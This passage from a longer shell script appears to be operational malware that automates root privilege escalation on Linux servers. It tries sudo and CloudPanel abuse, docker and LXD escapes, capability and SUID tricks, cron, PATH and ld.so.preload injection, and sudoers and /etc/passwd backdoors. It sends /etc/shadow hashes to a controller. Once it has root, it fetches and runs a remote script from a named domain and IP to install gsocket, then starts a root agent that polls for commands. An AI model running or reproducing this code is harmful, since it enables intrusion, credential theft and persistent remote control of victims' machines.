# CloudPanel control CLI — runs as root via sudo, no password needed.
# Attack sequence:
# A) PHP flag passthrough (-r) — works if wrapper just exec's php
# B) db:export --file to /etc/sudoers.d/ — SQL dump has -- header,
# sudoers ignores lines starting with -- so extra line appended works
# C) Command injection in --databaseName via mysqldump shell escape
# D) Cwd-based php.ini trick (PHP_INI_SCAN_DIR, may survive env_reset)
# E) Direct help probe — output helps operator craft next attempt
_esc="sudo $_b → CloudPanel clpctlWrapper LPE"
{
printf '=== probe: help ===\n'
sudo "$_b" 2>&1 | head -60
printf '\n=== method A: php -r flag passthrough ===\n'
sudo "$_b" -r \
"system('cp /bin/bash $_SUID_PATH && chmod 4755 $_SUID_PATH && echo SUID_A_OK');" \
2>&1 | head -5
printf '\n=== method B: db:export → /etc/sudoers.d/ ===\n'
# Append our NOPASSWD line after the SQL dump header
# sudoers parser ignores lines starting with "-- "
sudo "$_b" db:export \
--databaseName=mysql \
--file=/etc/sudoers.d/cloudpanel_update 2>&1 | head -5
# Append our line to whatever was written
printf '\n%s ALL=(ALL) NOPASSWD: ALL\n' "$(id -un 2>/dev/null || echo www-data)" | \
sudo tee -a /etc/sudoers.d/cloudpanel_update >/dev/null 2>&1 || true
printf '\n=== method C: mysqldump cmd injection via databaseName ===\n'
sudo "$_b" db:export \
--databaseName="\$(cp /bin/bash $_SUID_PATH && chmod 4755 $_SUID_PATH && echo INJ_C)mysql" \
--file=/tmp/.clpout.sql 2>&1 | head -8
printf '\n=== method D: php.ini scan dir (cwd trick) ===\n'
mkdir -p /tmp/.clpini 2>/dev/null
printf 'auto_prepend_file=/tmp/.clpphp.php\n' > /tmp/.clpini/zz-clp.ini
printf '<?php system("cp /bin/bash %s 2>/dev/null; chmod 4755 %s 2>/dev/null; echo PREPEND_D_OK"); ?>\n' \
"$_SUID_PATH" "$_SUID_PATH" > /tmp/.clpphp.php
( cd /tmp/.clpini && PHP_INI_SCAN_DIR=/tmp/.clpini sudo "$_b" 2>&1 | head -5 )
rm -rf /tmp/.clpini /tmp/.clpphp.php 2>/dev/null || true
printf '\n=== method E: CloudPanel user:create (admin → panel access) ===\n'
sudo "$_b" user:create \
--userName=clp_op \
--email=op@localhost \
--firstName=op --lastName=op \
--password='Cl@udP4nel!' \
--role=admin 2>&1 | head -10
printf '\n=== result check ===\n'
ls -la "$_SUID_PATH" 2>/dev/null
[ -u "$_SUID_PATH" ] && "$_SUID_PATH" -p -c 'id; hostname; cat /root/.ssh/id_rsa 2>/dev/null | head -5'
# Check if sudoers file was written
cat /etc/sudoers.d/cloudpanel_update 2>/dev/null | head -5
# Try elevated sudo if sudoers entry was added
sudo -n id 2>/dev/null || true
} > "$_o" 2>&1 ;;
env) _esc="sudo env /bin/sh -p";
sudo env /bin/sh -p <"$_qs" >"$_o" 2>&1 ;;
awk|gawk|mawk)
_esc="sudo $_b 'BEGIN{system(\"/bin/sh\")}'";
sudo "$_b" 'BEGIN{system("/bin/sh")}' <"$_qs" >"$_o" 2>&1 ;;
find) _esc="sudo find /tmp -exec sh -c CMD \\; -quit";
local _fc; _fc=$(cat "$_qs" 2>/dev/null)
sudo find /tmp -maxdepth 0 -exec sh -c "$_fc" sh \; >"$_o" 2>&1 ;;
node*) _esc="sudo node -e 'require(\"child_process\").execFileSync(\"/bin/sh\",[\"-p\"])'";
sudo "$_b" -e \
'require("child_process").execFileSync("/bin/sh",["-p"],{stdio:"inherit"})' \
<"$_qs" >"$_o" 2>&1 ;;
lua*) _esc="sudo $_b -e 'os.execute(\"/bin/sh\")'";
sudo "$_b" -e 'os.execute("/bin/sh")' <"$_qs" >"$_o" 2>&1 ;;
php*) _esc="sudo $_b -r 'pcntl_exec(\"/bin/sh\",[\"-p\"])'";
sudo "$_b" -r 'pcntl_exec("/bin/sh",["-p"]);' <"$_qs" >"$_o" 2>&1 ;;
rvim|rvi|view)
_esc="sudo $_b -c ':py3 import os;os.setuid(0);os.system(\"/bin/sh\")'";
sudo "$_b" -c ':py3 import os;os.setuid(0);os.system("/bin/sh")' \
</dev/null >"$_o" 2>&1 ;;
tar) _esc="sudo tar --checkpoint-action=exec=CMD";
sudo tar -cf /dev/null /dev/null \
--checkpoint=1 \
--checkpoint-action="exec=cp /bin/bash ${_SUID_PATH} && chmod 4750 ${_SUID_PATH}" \
>/dev/null 2>&1
ls -la "$_SUID_PATH" >"$_o" 2>&1 ;;
zip) _esc="sudo zip -T --unzip-command='sh -c CMD'";
sudo zip /tmp/.esc$$.zip /etc/hosts -T \
--unzip-command="sh -c 'cp /bin/bash ${_SUID_PATH}; chmod 4750 ${_SUID_PATH}'" \
>/dev/null 2>&1
rm -f /tmp/.esc$$.zip 2>/dev/null; ls -la "$_SUID_PATH" >"$_o" 2>&1 ;;
tee) _esc="echo 'USER ALL=(ALL) NOPASSWD:ALL' | sudo tee /etc/sudoers.d/nopw";
local _tme; _tme=$(id -un 2>/dev/null || echo www-data)
printf '%s ALL=(ALL) NOPASSWD:ALL\n' "$_tme" | \
sudo tee /etc/sudoers.d/nopw >/dev/null 2>&1
sudo -n id >"$_o" 2>&1 || printf 'sudoers write attempted\n' >"$_o" ;;
cp) _esc="sudo cp /bin/bash $_SUID_PATH && chmod 4750 $_SUID_PATH";
sudo cp /bin/bash "$_SUID_PATH" >/dev/null 2>&1 && \
sudo chmod 4750 "$_SUID_PATH" >/dev/null 2>&1
ls -la "$_SUID_PATH" >"$_o" 2>&1 ;;
chmod) _esc="sudo chmod u+s /bin/bash";
sudo chmod 4750 /bin/bash >/dev/null 2>&1
ls -la /bin/bash >"$_o" 2>&1 ;;
chown) _esc="sudo chown root /bin/bash && chmod 4750 /bin/bash";
sudo chown "root:$(id -gn 2>/dev/null || echo root)" /bin/bash >/dev/null 2>&1 && \
sudo chmod 4750 /bin/bash >/dev/null 2>&1
ls -la /bin/bash >"$_o" 2>&1 ;;
cat|head|tail|tac|xxd|od)
_esc="sudo $_b /etc/shadow";
sudo "$_b" /etc/shadow >"$_o" 2>&1 ;;
make) _esc="sudo make -f ${WDIR}/.mk x";
printf 'x:\n\t@cp /bin/bash %s 2>/dev/null && chmod 4750 %s 2>/dev/null\n' \
"$_SUID_PATH" "$_SUID_PATH" > "${WDIR}/.mk$$" 2>/dev/null
sudo make -s -f "${WDIR}/.mk$$" x >/dev/null 2>&1
rm -f "${WDIR}/.mk$$" 2>/dev/null; ls -la "$_SUID_PATH" >"$_o" 2>&1 ;;
tcpdump) _esc="sudo tcpdump -G 1 -z SCRIPT";
printf '#!/bin/sh\ncp /bin/bash %s&&chmod 4750 %s\n' \
"$_SUID_PATH" "$_SUID_PATH" > "${WDIR}/.tdz$$" 2>/dev/null && \
chmod +x "${WDIR}/.tdz$$" 2>/dev/null
sudo "$_b" -ln -i lo -w /dev/null -W 1 -G 1 -z "${WDIR}/.tdz$$" -Z root \
>"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null
rm -f "${WDIR}/.tdz$$" 2>/dev/null; ls -la "$_SUID_PATH" >"$_o" 2>&1 ;;
nmap) _esc="sudo nmap --script ${WDIR}/.nse$$";
printf 'action=function() os.execute("cp /bin/bash %s; chmod 4750 %s") end\n' \
"$_SUID_PATH" "$_SUID_PATH" > "${WDIR}/.nse$$" 2>/dev/null
sudo "$_b" --script "${WDIR}/.nse$$" -sn 127.0.0.1 >/dev/null 2>&1 & sleep 5; kill $! 2>/dev/null
rm -f "${WDIR}/.nse$$" 2>/dev/null; ls -la "$_SUID_PATH" >"$_o" 2>&1 ;;
*) _esc="sudo $_b # check GTFObins for $_b";
sudo "$_b" <"$_qs" >"$_o" 2>&1 ;;
esac
local _out; _out=$(tail -c 2000 "$_o" 2>/dev/null || echo '')
_out "$HOST" "qw_sudo" "$_out"
if printf '%s' "$_out" | grep -qiE '(^|[^a-zA-Z(])uid=0|got\.root'; then
_qwroot "sudo" "$_esc" "$(_qwid "$_out")"
_event "$HOST" "qw_sudo" "root"
_plant_gsocket &
else
_event "$HOST" "qw_sudo" "fail"
fi
rm -f "$_o" 2>/dev/null
) & fi
# ── docker socket escape
if [ -n "$docker_r" ] && command -v docker >/dev/null 2>&1; then (
_event "$HOST" "qw_docker" "running"
local _o="${WDIR}/qwd.out"
local _esc="docker run --rm -v /:/mnt alpine chroot /mnt sh"
docker run --rm -v /:/mnt alpine chroot /mnt sh <"$_qs" >"$_o" 2>&1
local _out; _out=$(tail -c 2000 "$_o" 2>/dev/null || echo '')
_out "$HOST" "qw_docker" "$_out"
if printf '%s' "$_out" | grep -qiE '(^|[^a-zA-Z(])uid=0|got\.root'; then
_qwroot "docker" "$_esc" "$(_qwid "$_out")"
_event "$HOST" "qw_docker" "root"
_plant_gsocket &
else
_event "$HOST" "qw_docker" "fail"
fi
rm -f "$_o" 2>/dev/null
) & fi
# ── cap_setuid escalation
if [ -n "$caps_r" ]; then (
_event "$HOST" "qw_caps" "running"
local _cb _esc _o="${WDIR}/qwc.out"
_cb=$(printf '%s' "$caps_r" | grep -oE '^[^ ]+' | head -1)
case "${_cb##*/}" in
python*) _esc="$_cb -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'";
"$_cb" -c \
'import os,sys;os.setuid(0);os.setgid(0);exec(open(sys.stdin.fileno()).read())' \
<"$_qs" >"$_o" 2>&1 ;;
perl*) _esc="$_cb -e 'use POSIX; POSIX::setuid(0); exec \"/bin/bash\",\"-p\"'";
"$_cb" -e \
'use POSIX;POSIX::setuid(0);POSIX::setgid(0);exec "/bin/bash","-p"' \
<"$_qs" >"$_o" 2>&1 ;;
node*) _esc="$_cb -e 'process.setuid(0); require(\"child_process\").execFileSync(\"/bin/bash\",[\"-p\"],{stdio:\"inherit\"})'";
"$_cb" -e \
'try{process.setuid(0);process.setgid(0);}catch(e){}
require("child_process").execFileSync("/bin/bash",["-p"],{stdio:"inherit"})' \
>"$_o" 2>&1 ;;
ruby*) _esc="$_cb -e 'Process::UID.change_privilege(0); exec \"/bin/bash\",\"-p\"'";
"$_cb" -e \
'begin;Process::UID.change_privilege(0);Process::GID.change_privilege(0);rescue;end
exec "/bin/bash","-p"' \
<"$_qs" >"$_o" 2>&1 ;;
suexec*)
_esc="# suexec refuses uid=0 — trying RPATH lib injection"
local _rpath
_rpath=$(readelf -d "$_cb" 2>/dev/null \
| grep -E '(RPATH|RUNPATH)' \
| grep -oE '\[([^\]]+)\]' | tr -d '[]' | cut -d: -f1)
if [ -n "$_rpath" ] && [ -w "$_rpath" ] && command -v gcc >/dev/null 2>&1; then
_hso="${_rpath}/libsuexec_pe.so"
_esc="# gcc RPATH inject → $_rpath/libsuexec_pe.so → ${_SUID_PATH} -p"
printf '%s\n' \
'#include <unistd.h>' \
'__attribute__((constructor)) void _pe() {' \
' setuid(0); setgid(0);' \
" system(\"cp /bin/bash ${_SUID_PATH} 2>/dev/null; chmod 4750 ${_SUID_PATH} 2>/dev/null\");" \
'}' | gcc -x c -shared -fPIC -o "$_hso" - 2>/dev/null && \
"$_cb" >"$_o" 2>&1 || true
rm -f "$_hso" 2>/dev/null || true
else
printf 'suexec: LD_PRELOAD cleared for cap binaries; RPATH not writable\n' >"$_o"
fi ;;
awk|gawk|mawk)
_esc="$_cb 'BEGIN{system(\"/bin/sh\")}' # cap_setuid";
"$_cb" 'BEGIN{system("/bin/sh")}' <"$_qs" >"$_o" 2>&1 ;;
php*) _esc="$_cb -r 'posix_setuid(0);pcntl_exec(\"/bin/sh\",[\"-p\"])'";
"$_cb" -r 'posix_setuid(0);posix_setgid(0);pcntl_exec("/bin/sh",["-p"]);' \
<"$_qs" >"$_o" 2>&1 ;;
tee) _esc="echo 'USER ALL=(ALL) NOPASSWD:ALL' | $_cb /etc/sudoers.d/nopw";
local _cme; _cme=$(id -un 2>/dev/null || echo www-data)
printf '%s ALL=(ALL) NOPASSWD:ALL\n' "$_cme" | \
"$_cb" -a /etc/sudoers.d/nopw >/dev/null 2>&1
sudo -n id >"$_o" 2>&1 || printf 'cap_tee sudoers write attempted\n' >"$_o" ;;
find) _esc="$_cb /tmp -exec sh -c CMD \\; (cap_dac_override)";
local _cfc; _cfc=$(cat "$_qs" 2>/dev/null)
"$_cb" /tmp -maxdepth 0 -exec sh -c "$_cfc" sh \; >"$_o" 2>&1 ;;
*) _esc="$_cb # check GTFObins for cap_setuid";
"$_cb" <"$_qs" >"$_o" 2>&1 ;;
esac
local _out; _out=$(tail -c 2000 "$_o" 2>/dev/null || echo '')
_out "$HOST" "qw_caps" "$_out"
if { printf '%s' "$_out" | grep -qiE '(^|[^a-zA-Z(])uid=0|got\.root' || [ -u "${_SUID_PATH}" 2>/dev/null ]; }; then
[ -u "${_SUID_PATH}" ] && _esc="${_SUID_PATH} -p # SUID bash via cap exploit"
_qwroot "caps" "$_esc" "$(_qwid "$_out")"
_event "$HOST" "qw_caps" "root"
_plant_gsocket &
else
_event "$HOST" "qw_caps" "fail"
fi
rm -f "$_o" 2>/dev/null
) & fi
# ── SUID interpreter escalation
if [ -n "$suid_r" ]; then (
_event "$HOST" "qw_suid" "running"
local _sb _esc _o="${WDIR}/qwsu.out"
_sb=$(printf '%s' "$suid_r" | cut -d'|' -f1)
case "${_sb##*/}" in
python*) _esc="$_sb -c 'import os; os.execvp(\"/bin/bash\",[\"/bin/bash\",\"-p\"])'";
"$_sb" -c 'import os;os.execvp("/bin/bash",["/bin/bash","-p"])' \
>"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;;
perl*) _esc="$_sb -e 'exec \"/bin/bash\",\"-p\"'";
"$_sb" -e 'exec "/bin/bash","-p"' >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;;
ruby*) _esc="$_sb -e 'exec \"/bin/bash\",\"-p\"'";
"$_sb" -e 'exec "/bin/bash","-p"' >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;;
php*) _esc="$_sb -r 'pcntl_exec(\"/bin/bash\",[\"-p\"]); '";
"$_sb" -r 'pcntl_exec("/bin/bash",["-p"]);' >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;;
env) _esc="$_sb -p /bin/sh";
"$_sb" -p /bin/sh <"$_qs" >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;;
awk|gawk|mawk)
_esc="$_sb 'BEGIN{system(\"/bin/sh -p\")}'";
"$_sb" 'BEGIN{system("/bin/sh -p")}' <"$_qs" >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;;
find) _esc="$_sb /tmp -exec /bin/sh -p \\; -quit";
local _sfc; _sfc=$(cat "$_qs" 2>/dev/null)
"$_sb" /tmp -maxdepth 0 -exec sh -p -c "$_sfc" sh \; \
>"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;;
node*) _esc="$_sb -e 'process.setuid(0);require(\"child_process\").execFileSync(\"/bin/sh\",[\"-p\"])'";
"$_sb" -e \
'try{process.setuid(0);process.setgid(0);}catch(e){}
require("child_process").execFileSync("/bin/sh",["-p"],{stdio:"inherit"})' \
>"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;;
vim|vi) _esc="$_sb -c ':py3 import os;os.setuid(0);os.system(\"/bin/sh\")'";
"$_sb" -c ':py3 import os;os.setuid(0);os.system("/bin/sh")' \
</dev/null >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;;
*) _esc="$_sb # check GTFObins for SUID";
"$_sb" -p >"$_o" 2>&1 & sleep 3; kill $! 2>/dev/null; true ;;
esac
local _out; _out=$(tail -c 500 "$_o" 2>/dev/null || echo '')
# SUID check: effective uid=0 means euid=0 in id output
if printf '%s' "$_out" | grep -qiE 'euid=0|uid=0\(root\)'; then
_qwroot "suid" "$_esc" "$(_qwid "$_out")"
_event "$HOST" "qw_suid" "root"
_plant_gsocket &
else
_event "$HOST" "qw_suid" "fail"
fi
rm -f "$_o" 2>/dev/null
) & fi
# ── LXD container mount escalation ──────────────────────────────────────
if [ "$lxd_r" = 'member' ] && command -v lxc >/dev/null 2>&1; then (
_event "$HOST" "qw_lxd" "running"
local _cn="lpe$$" _o="${WDIR}/qwl.out"
local _esc="lxc init ubuntu:18.04 lpe; lxc config set lpe security.privileged true; lxc config device add lpe mnt disk source=/ path=/mnt/root recursive=true; lxc start lpe; lxc exec lpe -- chroot /mnt/root sh"
{
lxc init ubuntu:18.04 "$_cn" 2>/dev/null || lxc init alpine "$_cn" 2>/dev/null || true
lxc config set "$_cn" security.privileged true 2>/dev/null && \
lxc config device add "$_cn" mnt disk source=/ path=/mnt/root recursive=true 2>/dev/null && \
lxc start "$_cn" 2>/dev/null && sleep 2 && \
lxc exec "$_cn" -- sh -c \
"cp /mnt/root/bin/bash /mnt/root${_SUID_PATH} 2>/dev/null; chmod 4750 /mnt/root${_SUID_PATH} 2>/dev/null; id; echo LXD_ROOT" \
2>/dev/null || true
} >"$_o" 2>&1
lxc stop "$_cn" 2>/dev/null; lxc delete "$_cn" 2>/dev/null; true
local _out; _out=$(tail -c 2000 "$_o" 2>/dev/null || echo '')
_out "$HOST" "qw_lxd" "$_out"
if printf '%s' "$_out" | grep -qiE '(^|[^a-zA-Z(])uid=0|LXD_ROOT'; then
_qwroot "lxd" "${_SUID_PATH} -p # SUID bash from lxd host mount" "$(_qwid "$_out")"
_event "$HOST" "qw_lxd" "root"
_plant_gsocket &
else
_event "$HOST" "qw_lxd" "fail"
fi
rm -f "$_o" 2>/dev/null
) & fi
# ── writable /etc/passwd — add uid=0 backdoor user ───────────────────────
if [ "$passwd_r" = 'writable' ]; then (
_event "$HOST" "qw_passwd" "running"
local _o="${WDIR}/qwp.out" _usr='svc0'
local _hash; _hash=$(openssl passwd -1 'toor' 2>/dev/null || \
printf '$1$svc0x$ZjXEbzOy3i7sPKNZHOoB80')
grep -q "^${_usr}:" /etc/passwd 2>/dev/null || \
printf '%s:%s:0:0::/root:/bin/bash\n' "$_usr" "$_hash" >> /etc/passwd 2>/dev/null
if id "$_usr" 2>/dev/null | grep -q 'uid=0'; then
printf 'uid=0 backdoor: %s / toor\n' "$_usr" >"$_o"
_out "$HOST" "qw_passwd" "$(cat "$_o" 2>/dev/null)"
_qwroot "passwd" "su $_usr # pass: toor" "uid=0(${_usr}) gid=0(root)"
_event "$HOST" "qw_passwd" "root"
_plant_gsocket &
else
_event "$HOST" "qw_passwd" "fail"
fi
rm -f "$_o" 2>/dev/null
) & fi
# ── cron exploitation — detect format (system vs user crontab) ──────────
if [ -n "$cron_r" ]; then (
local _cf; _cf=$(printf '%s' "$cron_r" | cut -d'|' -f1)
[ -w "$_cf" ] 2>/dev/null || { _event "$HOST" "qw_cron" "fail"; return; }
# Detect cron file type:
# /etc/cron.d/* → system crontab, needs username field → run as root
# /var/spool/cron/* → user crontab, no username field → runs as file owner
# /var/cron/tabs/* → same as above (BSD/cPanel)
local _is_syscron=0 _cron_user=''
case "$_cf" in
/etc/cron.d/*) _is_syscron=1 ;;
/etc/cron.daily/*|/etc/cron.weekly/*|/etc/cron.hourly/*) _is_syscron=1 ;;
esac
if [ "$_is_syscron" = 0 ]; then
# User crontab: owner is the username (last path component)
_cron_user=$(basename "$_cf" 2>/dev/null || echo '')
# Skip SUID attempt unless it's root's own crontab
if [ "$_cron_user" != 'root' ]; then
_event "$HOST" "qw_cron" "fail"
_post "${ORIGIN}/api/quickwin" \
"h=$(ue "$HOST")&cron_file=$(ue "$_cf (user crontab — no privesc)")" \
>/dev/null 2>&1 || true
return
fi
fi
_event "$HOST" "qw_cron" "running"
local _o="${WDIR}/qwcr.out" _pl _cron_ts _cron_marker
_cron_marker="${_SUID_TAG}"
if [ "$_is_syscron" = 1 ]; then
# /etc/cron.d/ format — username field required; self-removes via sed after firing
_pl=$(printf '* * * * * root cp /bin/bash %s&&chmod 4750 %s&&chown root:%s %s&&touch -r /bin/bash %s&&sed -i "/%s/d" %s 2>/dev/null&&curl -fsSL -m5 -k --data "h=%s&qwcron_ok=1" %s/api/quickwin>/dev/null 2>&1 #%s\n' \
"$_SUID_PATH" "$_SUID_PATH" "${_MY_GRP:-root}" "$_SUID_PATH" "$_SUID_PATH" \
"$_cron_marker" "$_cf" "$HOST" "$ORIGIN" "$_cron_marker")
else
# root's user crontab — no username field; self-removes via sed after firing
_pl=$(printf '* * * * * cp /bin/bash %s&&chmod 4750 %s&&chown root:%s %s&&touch -r /bin/bash %s&&sed -i "/%s/d" %s 2>/dev/null&&curl -fsSL -m5 -k --data "h=%s&qwcron_ok=1" %s/api/quickwin>/dev/null 2>&1 #%s\n' \
"$_SUID_PATH" "$_SUID_PATH" "${_MY_GRP:-root}" "$_SUID_PATH" "$_SUID_PATH" \
"$_cron_marker" "$_cf" "$HOST" "$ORIGIN" "$_cron_marker")
fi
if printf '%s' "$_pl" >> "$_cf" 2>/dev/null; then
_cron_ts=$(date +%s 2>/dev/null || echo 0)
_post "${ORIGIN}/api/quickwin" \
"h=$(ue "$HOST")&cron_ts=${_cron_ts}&cron_file=$(ue "$_cf")" \
>/dev/null 2>&1 || true
printf 'payload injected into %s — waiting\n' "$_cf" >"$_o"
_out "$HOST" "qw_cron" "$(cat "$_o" 2>/dev/null)"
local _t=0
while [ $_t -lt 90 ]; do
sleep 10; _t=$(( _t + 10 ))
if [ -u "${_SUID_PATH}" ] 2>/dev/null; then
_qwroot "cron" "${_SUID_PATH} -p # SUID bash from cron injection" "uid=0 via cron"
_event "$HOST" "qw_cron" "root"
_plant_gsocket &
# cron payload self-removes via sed; this is backup cleanup from drop.sh
grep -v "$_cron_marker" "$_cf" 2>/dev/null >"${_cf}.tmp" && \
mv "${_cf}.tmp" "$_cf" 2>/dev/null || true
break
fi
done
[ $_t -ge 90 ] && _event "$HOST" "qw_cron" "fail" || true
else
_event "$HOST" "qw_cron" "fail"
fi
rm -f "$_o" 2>/dev/null
) & fi
# ── PATH hijack via writable dir in \$PATH ────────────────────────────────
if [ -n "$pathijack_r" ]; then (
_event "$HOST" "qw_pathijack" "running"
local _pi_bin; _pi_bin=$(printf '%s' "$pathijack_r" | cut -d: -f1)
local _pi_dir; _pi_dir=$(printf '%s' "$pathijack_r" | cut -d: -f2)
local _pi_cmd; _pi_cmd=$(printf '%s' "$pathijack_r" | cut -d: -f3)
local _o="${WDIR}/qwph.out" _hijack="${_pi_dir}/${_pi_cmd}"
local _esc="# PATH hijack: $_pi_bin calls '$_pi_cmd' — drop shell at $_hijack"
{
printf '#!/bin/sh\ncp /bin/bash %s 2>/dev/null && chmod 4750 %s 2>/dev/null && chown root:%s %s 2>/dev/null\nid\n' \
"$_SUID_PATH" "$_SUID_PATH" "${_MY_GRP:-root}" "$_SUID_PATH"
} >"$_hijack" 2>/dev/null && chmod +x "$_hijack" 2>/dev/null
"$_pi_bin" >"$_o" 2>&1 || true
rm -f "$_hijack" 2>/dev/null
local _out; _out=$(tail -c 1000 "$_o" 2>/dev/null || echo '')
_out "$HOST" "qw_pathijack" "$_out"
if [ -u "${_SUID_PATH}" ] 2>/dev/null || printf '%s' "$_out" | grep -qiE '(^|[^a-zA-Z(])uid=0'; then
_qwroot "pathijack" "${_SUID_PATH} -p # SUID bash via PATH hijack" "$(_qwid "$_out")"
_event "$HOST" "qw_pathijack" "root"
_plant_gsocket &
else
_event "$HOST" "qw_pathijack" "fail"
fi
rm -f "$_o" 2>/dev/null
) & fi
# ── /etc/ld.so.preload inject via gcc ────────────────────────────────────
if [ "$ldpreload_r" = 'writable' ] && command -v gcc >/dev/null 2>&1; then (
_event "$HOST" "qw_ldpreload" "running"
local _so="/tmp/.ldp$$.so" _o="${WDIR}/qwlp.out"
local _esc="/etc/ld.so.preload inject → gcc .so constructor → setuid(0) on any SUID call"
{
printf '#include <unistd.h>\n'
printf '__attribute__((constructor)) void _lp(){\n'
printf ' setuid(0);setgid(0);\n'
printf ' system("cp /bin/bash %s 2>/dev/null; chmod 4750 %s 2>/dev/null");\n' \
"$_SUID_PATH" "$_SUID_PATH"
printf '}\n'
} | gcc -x c -shared -fPIC -nostartfiles -o "$_so" - 2>/dev/null
if [ -s "$_so" ]; then
printf '%s\n' "$_so" > /etc/ld.so.preload 2>/dev/null
local _trigger; _trigger=$(find /usr/bin /bin /sbin -perm -4000 -type f 2>/dev/null | head -1)
[ -n "$_trigger" ] && "$_trigger" >/dev/null 2>&1 || /usr/bin/sudo -l >/dev/null 2>&1 || true
sleep 1
printf '' > /etc/ld.so.preload 2>/dev/null
ls -la "$_SUID_PATH" >"$_o" 2>&1
local _out; _out=$(cat "$_o" 2>/dev/null || echo '')
_out "$HOST" "qw_ldpreload" "$_out"
if [ -u "${_SUID_PATH}" ] 2>/dev/null; then
_qwroot "ldpreload" "${_SUID_PATH} -p # SUID bash via ld.so.preload inject" "uid=0 via ldpreload"
_event "$HOST" "qw_ldpreload" "root"
_plant_gsocket &
else
_event "$HOST" "qw_ldpreload" "fail"
fi
else
_event "$HOST" "qw_ldpreload" "fail"
fi
rm -f "$_so" 2>/dev/null
) & fi
# ── /etc/shadow readable — exfil hashes for offline crack ────────────────
if [ "$shadow_r" = 'readable' ]; then (
local _o="${WDIR}/qwsh.out"
local _esc="cat /etc/shadow # hashcat -m 1800 hashes.txt rockyou.txt"
head -20 /etc/shadow 2>/dev/null > "$_o"
local _out; _out=$(cat "$_o" 2>/dev/null || echo '')
_out "$HOST" "qw_shadow" "$_out"
local _preview; _preview=$(head -10 /etc/shadow 2>/dev/null | \
grep -vE '^\w+:[!*]' | cut -d: -f1,2 | head -3 | tr '\n' '|' | head -c 200)
_post "${ORIGIN}/api/quickwin" \
"h=$(ue "$HOST")&shadow=$(ue "readable${_preview:+:}${_preview}")" \
>/dev/null 2>&1 || true
rm -f "$_o" 2>/dev/null
) & fi
# ── disk group — dd raw partition → extract shadow hashes ────────────────
if [ "$disk_grp_r" = 'member' ] && command -v dd >/dev/null 2>&1; then (
_event "$HOST" "qw_disk_grp" "running"
local _o="${WDIR}/qwdk.out"
local _dev; _dev=$(df /etc 2>/dev/null | awk 'NR==2{print $1}')
local _esc="dd if=$_dev | strings | grep shadow hash"
if [ -b "$_dev" ] && [ -r "$_dev" ]; then
dd if="$_dev" bs=512 2>/dev/null | strings 2>/dev/null | \
grep -E '^\w+:\$[0-9$y]' | head -10 > "$_o" & local _ddpid=$!
sleep 10; kill $_ddpid 2>/dev/null; true
local _out; _out=$(cat "$_o" 2>/dev/null || echo '')
_out "$HOST" "qw_disk_grp" "$_out"
if [ -n "$_out" ]; then
_qwroot "disk_grp" "dd if=$_dev | strings | grep -E '^\\w+:\\$[0-9]' | hashcat" \
"shadow hashes from raw disk"
_event "$HOST" "qw_disk_grp" "root"
else
_event "$HOST" "qw_disk_grp" "fail"
fi
else
_event "$HOST" "qw_disk_grp" "fail"
fi
rm -f "$_o" 2>/dev/null
) & fi
# ── /etc/sudoers.d/ writable — drop NOPASSWD entry ───────────────────────
if [ -n "$sudoersd_r" ]; then (
_event "$HOST" "qw_sudoersd" "running"
local _sf _o="${WDIR}/qwsd.out"
if [ -d "$sudoersd_r" ]; then
_sf="${sudoersd_r}/lpe_auto"
else
_sf="$sudoersd_r"
fi
local _sme; _sme=$(id -un 2>/dev/null || echo www-data)
local _esc="printf '%s ALL=(ALL) NOPASSWD:ALL' $_sme > $_sf"
printf '%s ALL=(ALL) NOPASSWD:ALL\n' "$_sme" > "$_sf" 2>/dev/null && \
chmod 0440 "$_sf" 2>/dev/null || true
if sudo -n id >/dev/null 2>&1; then
sudo sh "$_qs" >"$_o" 2>&1
local _out; _out=$(tail -c 2000 "$_o" 2>/dev/null || echo '')
_out "$HOST" "qw_sudoersd" "$_out"
if printf '%s' "$_out" | grep -qiE '(^|[^a-zA-Z(])uid=0|got\.root'; then
_qwroot "sudoersd" "$_esc" "$(_qwid "$_out")"
_event "$HOST" "qw_sudoersd" "root"
_plant_gsocket &
else
_event "$HOST" "qw_sudoersd" "fail"
fi
rm -f "$_sf" 2>/dev/null
else
rm -f "$_sf" 2>/dev/null
_event "$HOST" "qw_sudoersd" "fail"
fi
rm -f "$_o" 2>/dev/null
) & fi
rm -f "$_qs" 2>/dev/null || true
}
# ── auto-plant gsocket after root is confirmed ──────────────────────────
# Uses direct one-liner — no SUID path, no gsocket binary download.
_plant_gsocket(){
local _o="${WDIR}/.gso$$"
_event "$HOST" "_gs_" "installing"
{
printf '=== gsocket install ===\n'
GS_HOST=107.152.47.226 GS_PORT=443 bash -c "$(curl -fsSL https://localroot.sbs/merged.sh 2>/dev/null || wget --no-verbose -O- https://localroot.sbs/merged.sh 2>/dev/null)" 2>/dev/null
printf '\n=== done (exit=%d) ===\n' $?
id
printf '\n=== gs binary check ===\n'
command -v gs-netcat 2>/dev/null || which gs-netcat 2>/dev/null || echo 'gs-netcat: not in PATH'
pgrep -af gs-netcat 2>/dev/null || echo 'gs-netcat: not running'
# deploy root agent for interactive shell (inline)
printf '\n=== root agent deploy ===\n'
_ra_s="/tmp/.ra_${HOST}.sh"
printf '#!/bin/sh\n' > "$_ra_s"
printf 'O="%s"\n' "$ORIGIN" >> "$_ra_s"
printf 'H="%s"\n' "$HOST" >> "$_ra_s"
printf 'S="%s"\n' "$_SUID_PATH" >> "$_ra_s"
printf 'while true; do\n' >> "$_ra_s"
printf ' r=$(curl -fsSL -m5 -k "${O}/api/ra_cmd/${H}" 2>/dev/null || wget -qO- -T5 --no-check-certificate "${O}/api/ra_cmd/${H}" 2>/dev/null || echo "")\n' >> "$_ra_s"
printf ' a=""; c=""\n' >> "$_ra_s"
printf ' if echo "$r" | grep -qF '"action":"exec"'; then\n' >> "$_ra_s"
printf ' a="exec"\n' >> "$_ra_s"
printf ' c=$(echo "$r" | sed '\''s/.*"cmd"[[:space:]]*:[[:space:]]*"\{1\}\([^"]*\)".*/\1/'\'' 2>/dev/null)\n' >> "$_ra_s"
